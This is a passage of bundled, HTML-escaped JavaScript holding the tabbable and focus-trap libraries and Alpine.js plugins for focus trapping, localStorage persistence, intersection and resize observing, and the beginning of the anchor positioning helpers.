    if (node.disabled || isHiddenInput(node) || isHidden(node, options) || isDetailsWithSummary(node) || isDisabledFromFieldset(node)) {
      return false;
    }
    return true;
  };
  var isNodeMatchingSelectorTabbable = function isNodeMatchingSelectorTabbable2(options, node) {
    if (isNonTabbableRadio(node) || getTabindex(node) &lt; 0 || !isNodeMatchingSelectorFocusable(options, node)) {
      return false;
    }
    return true;
  };
  var isValidShadowRootTabbable = function isValidShadowRootTabbable2(shadowHostNode) {
    var tabIndex = parseInt(shadowHostNode.getAttribute(&quot;tabindex&quot;), 10);
    if (isNaN(tabIndex) || tabIndex &gt;= 0) {
      return true;
    }
    return false;
  };
  var sortByOrder = function sortByOrder2(candidates) {
    var regularTabbables = [];
    var orderedTabbables = [];
    candidates.forEach(function(item, i) {
      var isScope = !!item.scope;
      var element = isScope ? item.scope : item;
      var candidateTabindex = getTabindex(element, isScope);
      var elements = isScope ? sortByOrder2(item.candidates) : element;
      if (candidateTabindex === 0) {
        isScope ? regularTabbables.push.apply(regularTabbables, elements) : regularTabbables.push(element);
      } else {
        orderedTabbables.push({
          documentOrder: i,
          tabIndex: candidateTabindex,
          item,
          isScope,
          content: elements
        });
      }
    });
    return orderedTabbables.sort(sortOrderedTabbables).reduce(function(acc, sortable) {
      sortable.isScope ? acc.push.apply(acc, sortable.content) : acc.push(sortable.content);
      return acc;
    }, []).concat(regularTabbables);
  };
  var tabbable = function tabbable2(el, options) {
    options = options || {};
    var candidates;
    if (options.getShadowRoot) {
      candidates = getCandidatesIteratively([el], options.includeContainer, {
        filter: isNodeMatchingSelectorTabbable.bind(null, options),
        flatten: false,
        getShadowRoot: options.getShadowRoot,
        shadowRootFilter: isValidShadowRootTabbable
      });
    } else {
      candidates = getCandidates(el, options.includeContainer, isNodeMatchingSelectorTabbable.bind(null, options));
    }
    return sortByOrder(candidates);
  };
  var focusable = function focusable2(el, options) {
    options = options || {};
    var candidates;
    if (options.getShadowRoot) {
      candidates = getCandidatesIteratively([el], options.includeContainer, {
        filter: isNodeMatchingSelectorFocusable.bind(null, options),
        flatten: true,
        getShadowRoot: options.getShadowRoot
      });
    } else {
      candidates = getCandidates(el, options.includeContainer, isNodeMatchingSelectorFocusable.bind(null, options));
    }
    return candidates;
  };
  var isTabbable = function isTabbable2(node, options) {
    options = options || {};
    if (!node) {
      throw new Error(&quot;No node provided&quot;);
    }
    if (matches.call(node, candidateSelector) === false) {
      return false;
    }
    return isNodeMatchingSelectorTabbable(options, node);
  };
  var focusableCandidateSelector = /* @__PURE__ */ candidateSelectors.concat(&quot;iframe&quot;).join(&quot;,&quot;);
  var isFocusable = function isFocusable2(node, options) {
    options = options || {};
    if (!node) {
      throw new Error(&quot;No node provided&quot;);
    }
    if (matches.call(node, focusableCandidateSelector) === false) {
      return false;
    }
    return isNodeMatchingSelectorFocusable(options, node);
  };
  function ownKeys2(object, enumerableOnly) {
    var keys = Object.keys(object);
    if (Object.getOwnPropertySymbols) {
      var symbols = Object.getOwnPropertySymbols(object);
      enumerableOnly &amp;&amp; (symbols = symbols.filter(function(sym) {
        return Object.getOwnPropertyDescriptor(object, sym).enumerable;
      })), keys.push.apply(keys, symbols);
    }
    return keys;
  }
  function _objectSpread2(target) {
    for (var i = 1; i &lt; arguments.length; i++) {
      var source = null != arguments[i] ? arguments[i] : {};
      i % 2 ? ownKeys2(Object(source), true).forEach(function(key) {
        _defineProperty(target, key, source[key]);
      }) : Object.getOwnPropertyDescriptors ? Object.defineProperties(target, Object.getOwnPropertyDescriptors(source)) : ownKeys2(Object(source)).forEach(function(key) {
        Object.defineProperty(target, key, Object.getOwnPropertyDescriptor(source, key));
      });
    }
    return target;
  }
  function _defineProperty(obj, key, value) {
    if (key in obj) {
      Object.defineProperty(obj, key, {
        value,
        enumerable: true,
        configurable: true,
        writable: true
      });
    } else {
      obj[key] = value;
    }
    return obj;
  }
  var activeFocusTraps = function() {
    var trapQueue = [];
    return {
      activateTrap: function activateTrap(trap) {
        if (trapQueue.length &gt; 0) {
          var activeTrap = trapQueue[trapQueue.length - 1];
          if (activeTrap !== trap) {
            activeTrap.pause();
          }
        }
        var trapIndex = trapQueue.indexOf(trap);
        if (trapIndex === -1) {
          trapQueue.push(trap);
        } else {
          trapQueue.splice(trapIndex, 1);
          trapQueue.push(trap);
        }
      },
      deactivateTrap: function deactivateTrap(trap) {
        var trapIndex = trapQueue.indexOf(trap);
        if (trapIndex !== -1) {
          trapQueue.splice(trapIndex, 1);
        }
        if (trapQueue.length &gt; 0) {
          trapQueue[trapQueue.length - 1].unpause();
        }
      }
    };
  }();
  var isSelectableInput = function isSelectableInput2(node) {
    return node.tagName &amp;&amp; node.tagName.toLowerCase() === &quot;input&quot; &amp;&amp; typeof node.select === &quot;function&quot;;
  };
  var isEscapeEvent = function isEscapeEvent2(e) {
    return e.key === &quot;Escape&quot; || e.key === &quot;Esc&quot; || e.keyCode === 27;
  };
  var isTabEvent = function isTabEvent2(e) {
    return e.key === &quot;Tab&quot; || e.keyCode === 9;
  };
  var delay = function delay2(fn) {
    return setTimeout(fn, 0);
  };
  var findIndex = function findIndex2(arr, fn) {
    var idx = -1;
    arr.every(function(value, i) {
      if (fn(value)) {
        idx = i;
        return false;
      }
      return true;
    });
    return idx;
  };
  var valueOrHandler = function valueOrHandler2(value) {
    for (var _len = arguments.length, params = new Array(_len &gt; 1 ? _len - 1 : 0), _key = 1; _key &lt; _len; _key++) {
      params[_key - 1] = arguments[_key];
    }
    return typeof value === &quot;function&quot; ? value.apply(void 0, params) : value;
  };
  var getActualTarget = function getActualTarget2(event) {
    return event.target.shadowRoot &amp;&amp; typeof event.composedPath === &quot;function&quot; ? event.composedPath()[0] : event.target;
  };
  var createFocusTrap = function createFocusTrap2(elements, userOptions) {
    var doc = (userOptions === null || userOptions === void 0 ? void 0 : userOptions.document) || document;
    var config = _objectSpread2({
      returnFocusOnDeactivate: true,
      escapeDeactivates: true,
      delayInitialFocus: true
    }, userOptions);
    var state = {
      containers: [],
      containerGroups: [],
      tabbableGroups: [],
      nodeFocusedBeforeActivation: null,
      mostRecentlyFocusedNode: null,
      active: false,
      paused: false,
      delayInitialFocusTimer: void 0
    };
    var trap;
    var getOption = function getOption2(configOverrideOptions, optionName, configOptionName) {
      return configOverrideOptions &amp;&amp; configOverrideOptions[optionName] !== void 0 ? configOverrideOptions[optionName] : config[configOptionName || optionName];
    };
    var findContainerIndex = function findContainerIndex2(element) {
      return state.containerGroups.findIndex(function(_ref) {
        var container = _ref.container, tabbableNodes = _ref.tabbableNodes;
        return container.contains(element) || tabbableNodes.find(function(node) {
          return node === element;
        });
      });
    };
    var getNodeForOption = function getNodeForOption2(optionName) {
      var optionValue = config[optionName];
      if (typeof optionValue === &quot;function&quot;) {
        for (var _len2 = arguments.length, params = new Array(_len2 &gt; 1 ? _len2 - 1 : 0), _key2 = 1; _key2 &lt; _len2; _key2++) {
          params[_key2 - 1] = arguments[_key2];
        }
        optionValue = optionValue.apply(void 0, params);
      }
      if (optionValue === true) {
        optionValue = void 0;
      }
      if (!optionValue) {
        if (optionValue === void 0 || optionValue === false) {
          return optionValue;
        }
        throw new Error(&quot;`&quot;.concat(optionName, &quot;` was specified but was not a node, or did not return a node&quot;));
      }
      var node = optionValue;
      if (typeof optionValue === &quot;string&quot;) {
        node = doc.querySelector(optionValue);
        if (!node) {
          throw new Error(&quot;`&quot;.concat(optionName, &quot;` as selector refers to no known node&quot;));
        }
      }
      return node;
    };
    var getInitialFocusNode = function getInitialFocusNode2() {
      var node = getNodeForOption(&quot;initialFocus&quot;);
      if (node === false) {
        return false;
      }
      if (node === void 0) {
        if (findContainerIndex(doc.activeElement) &gt;= 0) {
          node = doc.activeElement;
        } else {
          var firstTabbableGroup = state.tabbableGroups[0];
          var firstTabbableNode = firstTabbableGroup &amp;&amp; firstTabbableGroup.firstTabbableNode;
          node = firstTabbableNode || getNodeForOption(&quot;fallbackFocus&quot;);
        }
      }
      if (!node) {
        throw new Error(&quot;Your focus-trap needs to have at least one focusable element&quot;);
      }
      return node;
    };
    var updateTabbableNodes = function updateTabbableNodes2() {
      state.containerGroups = state.containers.map(function(container) {
        var tabbableNodes = tabbable(container, config.tabbableOptions);
        var focusableNodes = focusable(container, config.tabbableOptions);
        return {
          container,
          tabbableNodes,
          focusableNodes,
          firstTabbableNode: tabbableNodes.length &gt; 0 ? tabbableNodes[0] : null,
          lastTabbableNode: tabbableNodes.length &gt; 0 ? tabbableNodes[tabbableNodes.length - 1] : null,
          nextTabbableNode: function nextTabbableNode(node) {
            var forward = arguments.length &gt; 1 &amp;&amp; arguments[1] !== void 0 ? arguments[1] : true;
            var nodeIdx = focusableNodes.findIndex(function(n) {
              return n === node;
            });
            if (nodeIdx &lt; 0) {
              return void 0;
            }
            if (forward) {
              return focusableNodes.slice(nodeIdx + 1).find(function(n) {
                return isTabbable(n, config.tabbableOptions);
              });
            }
            return focusableNodes.slice(0, nodeIdx).reverse().find(function(n) {
              return isTabbable(n, config.tabbableOptions);
            });
          }
        };
      });
      state.tabbableGroups = state.containerGroups.filter(function(group) {
        return group.tabbableNodes.length &gt; 0;
      });
      if (state.tabbableGroups.length &lt;= 0 &amp;&amp; !getNodeForOption(&quot;fallbackFocus&quot;)) {
        throw new Error(&quot;Your focus-trap must have at least one container with at least one tabbable node in it at all times&quot;);
      }
    };
    var tryFocus = function tryFocus2(node) {
      if (node === false) {
        return;
      }
      if (node === doc.activeElement) {
        return;
      }
      if (!node || !node.focus) {
        tryFocus2(getInitialFocusNode());
        return;
      }
      node.focus({
        preventScroll: !!config.preventScroll
      });
      state.mostRecentlyFocusedNode = node;
      if (isSelectableInput(node)) {
        node.select();
      }
    };
    var getReturnFocusNode = function getReturnFocusNode2(previousActiveElement) {
      var node = getNodeForOption(&quot;setReturnFocus&quot;, previousActiveElement);
      return node ? node : node === false ? false : previousActiveElement;
    };
    var checkPointerDown = function checkPointerDown2(e) {
      var target = getActualTarget(e);
      if (findContainerIndex(target) &gt;= 0) {
        return;
      }
      if (valueOrHandler(config.clickOutsideDeactivates, e)) {
        trap.deactivate({
          returnFocus: config.returnFocusOnDeactivate &amp;&amp; !isFocusable(target, config.tabbableOptions)
        });
        return;
      }
      if (valueOrHandler(config.allowOutsideClick, e)) {
        return;
      }
      e.preventDefault();
    };
    var checkFocusIn = function checkFocusIn2(e) {
      var target = getActualTarget(e);
      var targetContained = findContainerIndex(target) &gt;= 0;
      if (targetContained || target instanceof Document) {
        if (targetContained) {
          state.mostRecentlyFocusedNode = target;
        }
      } else {
        e.stopImmediatePropagation();
        tryFocus(state.mostRecentlyFocusedNode || getInitialFocusNode());
      }
    };
    var checkTab = function checkTab2(e) {
      var target = getActualTarget(e);
      updateTabbableNodes();
      var destinationNode = null;
      if (state.tabbableGroups.length &gt; 0) {
        var containerIndex = findContainerIndex(target);
        var containerGroup = containerIndex &gt;= 0 ? state.containerGroups[containerIndex] : void 0;
        if (containerIndex &lt; 0) {
          if (e.shiftKey) {
            destinationNode = state.tabbableGroups[state.tabbableGroups.length - 1].lastTabbableNode;
          } else {
            destinationNode = state.tabbableGroups[0].firstTabbableNode;
          }
        } else if (e.shiftKey) {
          var startOfGroupIndex = findIndex(state.tabbableGroups, function(_ref2) {
            var firstTabbableNode = _ref2.firstTabbableNode;
            return target === firstTabbableNode;
          });
          if (startOfGroupIndex &lt; 0 &amp;&amp; (containerGroup.container === target || isFocusable(target, config.tabbableOptions) &amp;&amp; !isTabbable(target, config.tabbableOptions) &amp;&amp; !containerGroup.nextTabbableNode(target, false))) {
            startOfGroupIndex = containerIndex;
          }
          if (startOfGroupIndex &gt;= 0) {
            var destinationGroupIndex = startOfGroupIndex === 0 ? state.tabbableGroups.length - 1 : startOfGroupIndex - 1;
            var destinationGroup = state.tabbableGroups[destinationGroupIndex];
            destinationNode = destinationGroup.lastTabbableNode;
          }
        } else {
          var lastOfGroupIndex = findIndex(state.tabbableGroups, function(_ref3) {
            var lastTabbableNode = _ref3.lastTabbableNode;
            return target === lastTabbableNode;
          });
          if (lastOfGroupIndex &lt; 0 &amp;&amp; (containerGroup.container === target || isFocusable(target, config.tabbableOptions) &amp;&amp; !isTabbable(target, config.tabbableOptions) &amp;&amp; !containerGroup.nextTabbableNode(target))) {
            lastOfGroupIndex = containerIndex;
          }
          if (lastOfGroupIndex &gt;= 0) {
            var _destinationGroupIndex = lastOfGroupIndex === state.tabbableGroups.length - 1 ? 0 : lastOfGroupIndex + 1;
            var _destinationGroup = state.tabbableGroups[_destinationGroupIndex];
            destinationNode = _destinationGroup.firstTabbableNode;
          }
        }
      } else {
        destinationNode = getNodeForOption(&quot;fallbackFocus&quot;);
      }
      if (destinationNode) {
        e.preventDefault();
        tryFocus(destinationNode);
      }
    };
    var checkKey = function checkKey2(e) {
      if (isEscapeEvent(e) &amp;&amp; valueOrHandler(config.escapeDeactivates, e) !== false) {
        e.preventDefault();
        trap.deactivate();
        return;
      }
      if (isTabEvent(e)) {
        checkTab(e);
        return;
      }
    };
    var checkClick = function checkClick2(e) {
      var target = getActualTarget(e);
      if (findContainerIndex(target) &gt;= 0) {
        return;
      }
      if (valueOrHandler(config.clickOutsideDeactivates, e)) {
        return;
      }
      if (valueOrHandler(config.allowOutsideClick, e)) {
        return;
      }
      e.preventDefault();
      e.stopImmediatePropagation();
    };
    var addListeners = function addListeners2() {
      if (!state.active) {
        return;
      }
      activeFocusTraps.activateTrap(trap);
      state.delayInitialFocusTimer = config.delayInitialFocus ? delay(function() {
        tryFocus(getInitialFocusNode());
      }) : tryFocus(getInitialFocusNode());
      doc.addEventListener(&quot;focusin&quot;, checkFocusIn, true);
      doc.addEventListener(&quot;mousedown&quot;, checkPointerDown, {
        capture: true,
        passive: false
      });
      doc.addEventListener(&quot;touchstart&quot;, checkPointerDown, {
        capture: true,
        passive: false
      });
      doc.addEventListener(&quot;click&quot;, checkClick, {
        capture: true,
        passive: false
      });
      doc.addEventListener(&quot;keydown&quot;, checkKey, {
        capture: true,
        passive: false
      });
      return trap;
    };
    var removeListeners = function removeListeners2() {
      if (!state.active) {
        return;
      }
      doc.removeEventListener(&quot;focusin&quot;, checkFocusIn, true);
      doc.removeEventListener(&quot;mousedown&quot;, checkPointerDown, true);
      doc.removeEventListener(&quot;touchstart&quot;, checkPointerDown, true);
      doc.removeEventListener(&quot;click&quot;, checkClick, true);
      doc.removeEventListener(&quot;keydown&quot;, checkKey, true);
      return trap;
    };
    trap = {
      get active() {
        return state.active;
      },
      get paused() {
        return state.paused;
      },
      activate: function activate(activateOptions) {
        if (state.active) {
          return this;
        }
        var onActivate = getOption(activateOptions, &quot;onActivate&quot;);
        var onPostActivate = getOption(activateOptions, &quot;onPostActivate&quot;);
        var checkCanFocusTrap = getOption(activateOptions, &quot;checkCanFocusTrap&quot;);
        if (!checkCanFocusTrap) {
          updateTabbableNodes();
        }
        state.active = true;
        state.paused = false;
        state.nodeFocusedBeforeActivation = doc.activeElement;
        if (onActivate) {
          onActivate();
        }
        var finishActivation = function finishActivation2() {
          if (checkCanFocusTrap) {
            updateTabbableNodes();
          }
          addListeners();
          if (onPostActivate) {
            onPostActivate();
          }
        };
        if (checkCanFocusTrap) {
          checkCanFocusTrap(state.containers.concat()).then(finishActivation, finishActivation);
          return this;
        }
        finishActivation();
        return this;
      },
      deactivate: function deactivate(deactivateOptions) {
        if (!state.active) {
          return this;
        }
        var options = _objectSpread2({
          onDeactivate: config.onDeactivate,
          onPostDeactivate: config.onPostDeactivate,
          checkCanReturnFocus: config.checkCanReturnFocus
        }, deactivateOptions);
        clearTimeout(state.delayInitialFocusTimer);
        state.delayInitialFocusTimer = void 0;
        removeListeners();
        state.active = false;
        state.paused = false;
        activeFocusTraps.deactivateTrap(trap);
        var onDeactivate = getOption(options, &quot;onDeactivate&quot;);
        var onPostDeactivate = getOption(options, &quot;onPostDeactivate&quot;);
        var checkCanReturnFocus = getOption(options, &quot;checkCanReturnFocus&quot;);
        var returnFocus = getOption(options, &quot;returnFocus&quot;, &quot;returnFocusOnDeactivate&quot;);
        if (onDeactivate) {
          onDeactivate();
        }
        var finishDeactivation = function finishDeactivation2() {
          delay(function() {
            if (returnFocus) {
              tryFocus(getReturnFocusNode(state.nodeFocusedBeforeActivation));
            }
            if (onPostDeactivate) {
              onPostDeactivate();
            }
          });
        };
        if (returnFocus &amp;&amp; checkCanReturnFocus) {
          checkCanReturnFocus(getReturnFocusNode(state.nodeFocusedBeforeActivation)).then(finishDeactivation, finishDeactivation);
          return this;
        }
        finishDeactivation();
        return this;
      },
      pause: function pause() {
        if (state.paused || !state.active) {
          return this;
        }
        state.paused = true;
        removeListeners();
        return this;
      },
      unpause: function unpause() {
        if (!state.paused || !state.active) {
          return this;
        }
        state.paused = false;
        updateTabbableNodes();
        addListeners();
        return this;
      },
      updateContainerElements: function updateContainerElements(containerElements) {
        var elementsAsArray = [].concat(containerElements).filter(Boolean);
        state.containers = elementsAsArray.map(function(element) {
          return typeof element === &quot;string&quot; ? doc.querySelector(element) : element;
        });
        if (state.active) {
          updateTabbableNodes();
        }
        return this;
      }
    };
    trap.updateContainerElements(elements);
    return trap;
  };
  function src_default3(Alpine3) {
    let lastFocused;
    let currentFocused;
    window.addEventListener(&quot;focusin&quot;, () =&gt; {
      lastFocused = currentFocused;
      currentFocused = document.activeElement;
    });
    Alpine3.magic(&quot;focus&quot;, (el) =&gt; {
      let within = el;
      return {
        __noscroll: false,
        __wrapAround: false,
        within(el2) {
          within = el2;
          return this;
        },
        withoutScrolling() {
          this.__noscroll = true;
          return this;
        },
        noscroll() {
          this.__noscroll = true;
          return this;
        },
        withWrapAround() {
          this.__wrapAround = true;
          return this;
        },
        wrap() {
          return this.withWrapAround();
        },
        focusable(el2) {
          return isFocusable(el2);
        },
        previouslyFocused() {
          return lastFocused;
        },
        lastFocused() {
          return lastFocused;
        },
        focused() {
          return currentFocused;
        },
        focusables() {
          if (Array.isArray(within))
            return within;
          return focusable(within, { displayCheck: &quot;none&quot; });
        },
        all() {
          return this.focusables();
        },
        isFirst(el2) {
          let els2 = this.all();
          return els2[0] &amp;&amp; els2[0].isSameNode(el2);
        },
        isLast(el2) {
          let els2 = this.all();
          return els2.length &amp;&amp; els2.slice(-1)[0].isSameNode(el2);
        },
        getFirst() {
          return this.all()[0];
        },
        getLast() {
          return this.all().slice(-1)[0];
        },
        getNext() {
          let list = this.all();
          let current = document.activeElement;
          if (list.indexOf(current) === -1)
            return;
          if (this.__wrapAround &amp;&amp; list.indexOf(current) === list.length - 1) {
            return list[0];
          }
          return list[list.indexOf(current) + 1];
        },
        getPrevious() {
          let list = this.all();
          let current = document.activeElement;
          if (list.indexOf(current) === -1)
            return;
          if (this.__wrapAround &amp;&amp; list.indexOf(current) === 0) {
            return list.slice(-1)[0];
          }
          return list[list.indexOf(current) - 1];
        },
        first() {
          this.focus(this.getFirst());
        },
        last() {
          this.focus(this.getLast());
        },
        next() {
          this.focus(this.getNext());
        },
        previous() {
          this.focus(this.getPrevious());
        },
        prev() {
          return this.previous();
        },
        focus(el2) {
          if (!el2)
            return;
          setTimeout(() =&gt; {
            if (!el2.hasAttribute(&quot;tabindex&quot;))
              el2.setAttribute(&quot;tabindex&quot;, &quot;0&quot;);
            el2.focus({ preventScroll: this.__noscroll });
          });
        }
      };
    });
    Alpine3.directive(&quot;trap&quot;, Alpine3.skipDuringClone((el, { expression, modifiers }, { effect: effect3, evaluateLater: evaluateLater2, cleanup: cleanup2 }) =&gt; {
      let evaluator = evaluateLater2(expression);
      let oldValue = false;
      let options = {
        escapeDeactivates: false,
        allowOutsideClick: true,
        fallbackFocus: () =&gt; el
      };
      if (modifiers.includes(&quot;noautofocus&quot;)) {
        options.initialFocus = false;
      } else {
        let autofocusEl = el.querySelector(&quot;[autofocus]&quot;);
        if (autofocusEl)
          options.initialFocus = autofocusEl;
      }
      let trap = createFocusTrap(el, options);
      let undoInert = () =&gt; {
      };
      let undoDisableScrolling = () =&gt; {
      };
      const releaseFocus = () =&gt; {
        undoInert();
        undoInert = () =&gt; {
        };
        undoDisableScrolling();
        undoDisableScrolling = () =&gt; {
        };
        trap.deactivate({
          returnFocus: !modifiers.includes(&quot;noreturn&quot;)
        });
      };
      effect3(() =&gt; evaluator((value) =&gt; {
        if (oldValue === value)
          return;
        if (value &amp;&amp; !oldValue) {
          if (modifiers.includes(&quot;noscroll&quot;))
            undoDisableScrolling = disableScrolling();
          if (modifiers.includes(&quot;inert&quot;))
            undoInert = setInert(el);
          setTimeout(() =&gt; {
            trap.activate();
          }, 15);
        }
        if (!value &amp;&amp; oldValue) {
          releaseFocus();
        }
        oldValue = !!value;
      }));
      cleanup2(releaseFocus);
    }, (el, { expression, modifiers }, { evaluate: evaluate3 }) =&gt; {
      if (modifiers.includes(&quot;inert&quot;) &amp;&amp; evaluate3(expression))
        setInert(el);
    }));
  }
  function setInert(el) {
    let undos = [];
    crawlSiblingsUp(el, (sibling) =&gt; {
      let cache = sibling.hasAttribute(&quot;aria-hidden&quot;);
      sibling.setAttribute(&quot;aria-hidden&quot;, &quot;true&quot;);
      undos.push(() =&gt; cache || sibling.removeAttribute(&quot;aria-hidden&quot;));
    });
    return () =&gt; {
      while (undos.length)
        undos.pop()();
    };
  }
  function crawlSiblingsUp(el, callback) {
    if (el.isSameNode(document.body) || !el.parentNode)
      return;
    Array.from(el.parentNode.children).forEach((sibling) =&gt; {
      if (sibling.isSameNode(el)) {
        crawlSiblingsUp(el.parentNode, callback);
      } else {
        callback(sibling);
      }
    });
  }
  function disableScrolling() {
    let overflow = document.documentElement.style.overflow;
    let paddingRight = document.documentElement.style.paddingRight;
    let scrollbarWidth = window.innerWidth - document.documentElement.clientWidth;
    document.documentElement.style.overflow = &quot;hidden&quot;;
    document.documentElement.style.paddingRight = `${scrollbarWidth}px`;
    return () =&gt; {
      document.documentElement.style.overflow = overflow;
      document.documentElement.style.paddingRight = paddingRight;
    };
  }
  var module_default3 = src_default3;

  // node_modules/@alpinejs/persist/dist/module.esm.js
  function src_default4(Alpine3) {
    let persist = () =&gt; {
      let alias;
      let storage;
      try {
        storage = localStorage;
      } catch (e) {
        console.error(e);
        console.warn(&quot;Alpine: $persist is using temporary storage since localStorage is unavailable.&quot;);
        let dummy = /* @__PURE__ */ new Map();
        storage = {
          getItem: dummy.get.bind(dummy),
          setItem: dummy.set.bind(dummy)
        };
      }
      return Alpine3.interceptor((initialValue, getter, setter, path, key) =&gt; {
        let lookup = alias || `_x_${path}`;
        let initial = storageHas(lookup, storage) ? storageGet(lookup, storage) : initialValue;
        setter(initial);
        Alpine3.effect(() =&gt; {
          let value = getter();
          storageSet(lookup, value, storage);
          setter(value);
        });
        return initial;
      }, (func) =&gt; {
        func.as = (key) =&gt; {
          alias = key;
          return func;
        }, func.using = (target) =&gt; {
          storage = target;
          return func;
        };
      });
    };
    Object.defineProperty(Alpine3, &quot;$persist&quot;, { get: () =&gt; persist() });
    Alpine3.magic(&quot;persist&quot;, persist);
    Alpine3.persist = (key, { get: get3, set: set3 }, storage = localStorage) =&gt; {
      let initial = storageHas(key, storage) ? storageGet(key, storage) : get3();
      set3(initial);
      Alpine3.effect(() =&gt; {
        let value = get3();
        storageSet(key, value, storage);
        set3(value);
      });
    };
  }
  function storageHas(key, storage) {
    return storage.getItem(key) !== null;
  }
  function storageGet(key, storage) {
    let value = storage.getItem(key, storage);
    if (value === void 0)
      return;
    return JSON.parse(value);
  }
  function storageSet(key, value, storage) {
    storage.setItem(key, JSON.stringify(value));
  }
  var module_default4 = src_default4;

  // node_modules/@alpinejs/intersect/dist/module.esm.js
  function src_default5(Alpine3) {
    Alpine3.directive(&quot;intersect&quot;, Alpine3.skipDuringClone((el, { value, expression, modifiers }, { evaluateLater: evaluateLater2, cleanup: cleanup2 }) =&gt; {
      let evaluate3 = evaluateLater2(expression);
      let options = {
        rootMargin: getRootMargin(modifiers),
        threshold: getThreshold(modifiers)
      };
      let observer2 = new IntersectionObserver((entries) =&gt; {
        entries.forEach((entry) =&gt; {
          if (entry.isIntersecting === (value === &quot;leave&quot;))
            return;
          evaluate3();
          modifiers.includes(&quot;once&quot;) &amp;&amp; observer2.disconnect();
        });
      }, options);
      observer2.observe(el);
      cleanup2(() =&gt; {
        observer2.disconnect();
      });
    }));
  }
  function getThreshold(modifiers) {
    if (modifiers.includes(&quot;full&quot;))
      return 0.99;
    if (modifiers.includes(&quot;half&quot;))
      return 0.5;
    if (!modifiers.includes(&quot;threshold&quot;))
      return 0;
    let threshold = modifiers[modifiers.indexOf(&quot;threshold&quot;) + 1];
    if (threshold === &quot;100&quot;)
      return 1;
    if (threshold === &quot;0&quot;)
      return 0;
    return Number(`.${threshold}`);
  }
  function getLengthValue(rawValue) {
    let match = rawValue.match(/^(-?[0-9]+)(px|%)?$/);
    return match ? match[1] + (match[2] || &quot;px&quot;) : void 0;
  }
  function getRootMargin(modifiers) {
    const key = &quot;margin&quot;;
    const fallback2 = &quot;0px 0px 0px 0px&quot;;
    const index = modifiers.indexOf(key);
    if (index === -1)
      return fallback2;
    let values = [];
    for (let i = 1; i &lt; 5; i++) {
      values.push(getLengthValue(modifiers[index + i] || &quot;&quot;));
    }
    values = values.filter((v) =&gt; v !== void 0);
    return values.length ? values.join(&quot; &quot;).trim() : fallback2;
  }
  var module_default5 = src_default5;

  // node_modules/@alpinejs/resize/dist/module.esm.js
  function src_default6(Alpine3) {
    Alpine3.directive(&quot;resize&quot;, Alpine3.skipDuringClone((el, { value, expression, modifiers }, { evaluateLater: evaluateLater2, cleanup: cleanup2 }) =&gt; {
      let evaluator = evaluateLater2(expression);
      let evaluate3 = (width, height) =&gt; {
        evaluator(() =&gt; {
        }, { scope: { &quot;$width&quot;: width, &quot;$height&quot;: height } });
      };
      let off = modifiers.includes(&quot;document&quot;) ? onDocumentResize(evaluate3) : onElResize(el, evaluate3);
      cleanup2(() =&gt; off());
    }));
  }
  function onElResize(el, callback) {
    let observer2 = new ResizeObserver((entries) =&gt; {
      let [width, height] = dimensions(entries);
      callback(width, height);
    });
    observer2.observe(el);
    return () =&gt; observer2.disconnect();
  }
  var documentResizeObserver;
  var documentResizeObserverCallbacks = /* @__PURE__ */ new Set();
  function onDocumentResize(callback) {
    documentResizeObserverCallbacks.add(callback);
    if (!documentResizeObserver) {
      documentResizeObserver = new ResizeObserver((entries) =&gt; {
        let [width, height] = dimensions(entries);
        documentResizeObserverCallbacks.forEach((i) =&gt; i(width, height));
      });
      documentResizeObserver.observe(document.documentElement);
    }
    return () =&gt; {
      documentResizeObserverCallbacks.delete(callback);
    };
  }
  function dimensions(entries) {
    let width, height;
    for (let entry of entries) {
      width = entry.borderBoxSize[0].inlineSize;
      height = entry.borderBoxSize[0].blockSize;
    }
    return [width, height];
  }
  var module_default6 = src_default6;

  // node_modules/@alpinejs/anchor/dist/module.esm.js
  var min = Math.min;
  var max = Math.max;
  var round = Math.round;
  var floor = Math.floor;
  var createCoords = (v) =&gt; ({
    x: v,
    y: v
  });
  var oppositeSideMap = {
    left: &quot;right&quot;,
    right: &quot;left&quot;,
    bottom: &quot;top&quot;,
    top: &quot;bottom&quot;
  };
  var oppositeAlignmentMap = {
    start: &quot;end&quot;,
    end: &quot;start&quot;
  };
  function clamp(start3, value, end) {
    return max(start3, min(value, end));
  }
  function evaluate2(value, param) {
    return typeof value === &quot;function&quot; ? value(param) : value;
  }
  function getSide(placement) {
    return placement.split(&quot;-&quot;)[0];
  }
  function getAlignment(placement) {
    return placement.split(&quot;-&quot;)[1];
  }
  function getOppositeAxis(axis) {
    return axis === &quot;x&quot; ? &quot;y&quot; : &quot;x&quot;;
  }
  function getAxisLength(axis) {
    return axis === &quot;y&quot; ? &quot;height&quot; : &quot;width&quot;;
  }
  function getSideAxis(placement) {
    return [&quot;top&quot;, &quot;bottom&quot;].includes(getSide(placement)) ? &quot;y&quot; : &quot;x&quot;;
  }
  function getAlignmentAxis(placement) {
    return getOppositeAxis(getSideAxis(placement));
  }
  function getAlignmentSides(placement, rects, rtl) {
    if (rtl === void 0) {
      rtl = false;
    }
    const alignment = getAlignment(placement);
    const alignmentAxis = getAlignmentAxis(placement);
    const length = getAxisLength(alignmentAxis);
    let mainAlignmentSide = alignmentAxis === &quot;x&quot; ? alignment === (rtl ? &quot;end&quot; : &quot;start&quot;) ? &quot;right&quot; : &quot;left&quot; : alignment === &quot;start&quot; ? &quot;bottom&quot; : &quot;top&quot;;
    if (rects.reference[length] &gt; rects.floating[length]) {
      mainAlignmentSide = getOppositePlacement(mainAlignmentSide);
    }
    return [mainAlignmentSide, getOppositePlacement(mainAlignmentSide)];
  }
  function getExpandedPlacements(placement) {
    const oppositePlacement = getOppositePlacement(placement);
    return [getOppositeAlignmentPlacement(placement), oppositePlacement, getOppositeAlignmentPlacement(oppositePlacement)];
  }
  function getOppositeAlignmentPlacement(placement) {
    return placement.replace(/start|end/g, (alignment) =&gt; oppositeAlignmentMap[alignment]);
  }
  function getSideList(side, isStart, rtl) {
    const lr = [&quot;left&quot;, &quot;right&quot;];
    const rl = [&quot;right&quot;, &quot;left&quot;];
    const tb = [&quot;top&quot;, &quot;bottom&quot;];
    const bt = [&quot;bottom&quot;, &quot;top&quot;];
    switch (side) {
      case &quot;top&quot;:
      case &quot;bottom&quot;:
        if (rtl)
          return isStart ? rl : lr;
        return isStart ? lr : rl;
      case &quot;left&quot;:
      case &quot;right&quot;:
        return isStart ? tb : bt;
      default:
        return [];
    }
  }
  function getOppositeAxisPlacements(placement, flipAlignment, direction, rtl) {
    const alignment = getAlignment(placement);
    let list = getSideList(getSide(placement), direction === &quot;start&quot;, rtl);
    if (alignment) {
      list = list.map((side) =&gt; side + &quot;-&quot; + alignment);
      if (flipAlignment) {
